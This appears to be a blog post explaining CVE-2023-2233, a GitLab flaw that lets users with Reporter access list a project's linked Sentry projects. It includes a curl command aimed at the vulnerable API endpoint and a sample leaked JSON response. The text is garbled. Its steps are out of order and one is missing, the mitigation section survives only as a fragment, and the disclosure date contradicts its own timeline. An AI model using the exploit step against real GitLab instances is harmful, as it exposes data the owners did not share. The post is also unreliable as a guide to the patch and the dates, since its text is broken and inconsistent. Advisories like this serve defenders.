On October 9, 2023, a critical security issue—CVE-2023-2233—was revealed in GitLab Community Edition (CE) and Enterprise Edition (EE). This vulnerability affects a huge number of GitLab deployments, starting from version 11.8 up to but not including 16.2.8, 16.3.5, or 16.4.1. Put simply, project reporters (a pretty low level of access) could *leak the Sentry instance projects* owned by GitLab project owners. This is an example of *improper authorization* and potentially allows information exposure beyond what was originally intended.

In this post, we’ll walk through what the vulnerability is, how it can be exploited (with code snippets), mitigation steps, and original references.

Quick CVE Overview

- CVE: CVE-2023-2233
- Products: GitLab CE/EE

What Exactly is the Issue?

GitLab integrates with Sentry so users can track errors and issues in their projects. When properly set up, only project owners should have the ability to view a list of Sentry projects—in essence, the directories that organize Sentry error logs. Unfortunately, this bug let reporters (typically, users with only issue-creating rights) see all connected Sentry projects on a GitLab instance.

In other words, anyone with "Reporter" rights to a project could leak information from the Sentry integration that only the project owner should see, such as project names, IDs, and other meta info. Attackers able to see this information can map out your error-tracking structures and gain insights into the tooling and operational security of your projects.

Accessing the API endpoint for Sentry projects, which should only be available to owners.

3. Receiving the list of Sentry projects linked to the instance (details like project slug, org name, keys, etc).

1. Get Reporter Access

Anyone with "Reporter" permissions to a target project can attempt this exploit.

Using a browser or a tool like curl (with your valid user session), hit the vulnerable endpoint

curl -H "PRIVATE-TOKEN: <reporter_access_token>" \
     "https://gitlab.example.com/api/v4/projects/<project_id>/error_tracking/sentry_projects";

A vulnerable instance (before patch) will return something like

[
  {
    "id": "12345",
    "slug": "main-app",
    "name": "Main App",
    "organization_name": "Acme Corp",
    "organization_id": "1",
    "keys": [ ... ]
  },
  {
    "id": "67890",
    "slug": "dev-app",
    "name": "Development App",
    "organization_name": "Acme Corp",
    "organization_id": "1",
    "keys": [ ... ]
  }
]

This data is not meant to be visible to someone with only reporter permissions.

4. Map Out Target's Sentry Organization

Now, the attacker can potentially correlate Sentry project slugs and org names with public bugs or other intelligence, broadening the attack surface.

Why Is This Serious?

1. Attackers can enumerate Sentry project names and org IDs. This can help with targeted phishing or social engineering.
2. Sensitive project structure and naming conventions might be exposed, giving away architecture secrets.
3. Links to error/reporting systems might be included, raising the risk of pivoting attacks into Sentry itself.

16.4.1 or later

Official GitLab advisory

Original References

- GitLab Security Release, Oct 2023
- NVD CVE Entry (CVE-2023-2233)
- GitLab Issue Tracker Discussion

Conclusion

CVE-2023-2233 is a real-world example of why access controls and least privilege are so important. While reporter-level users aren’t supposed to see high-level integration details, a simple bug left doors open for attackers to gather intelligence across many organizations. GitLab took decisive action to patch this vulnerability—but it’s up to you to protect your instances by upgrading and auditing user permissions.

Stay safe, patch fast, and keep an eye on those permissions!

*For more detailed security advisories and how-tos, follow GitLab’s blog.*

Timeline

Published on: 09/29/2023 07:15:00 UTC
Last modified on: 10/02/2023 19:51:00 UTC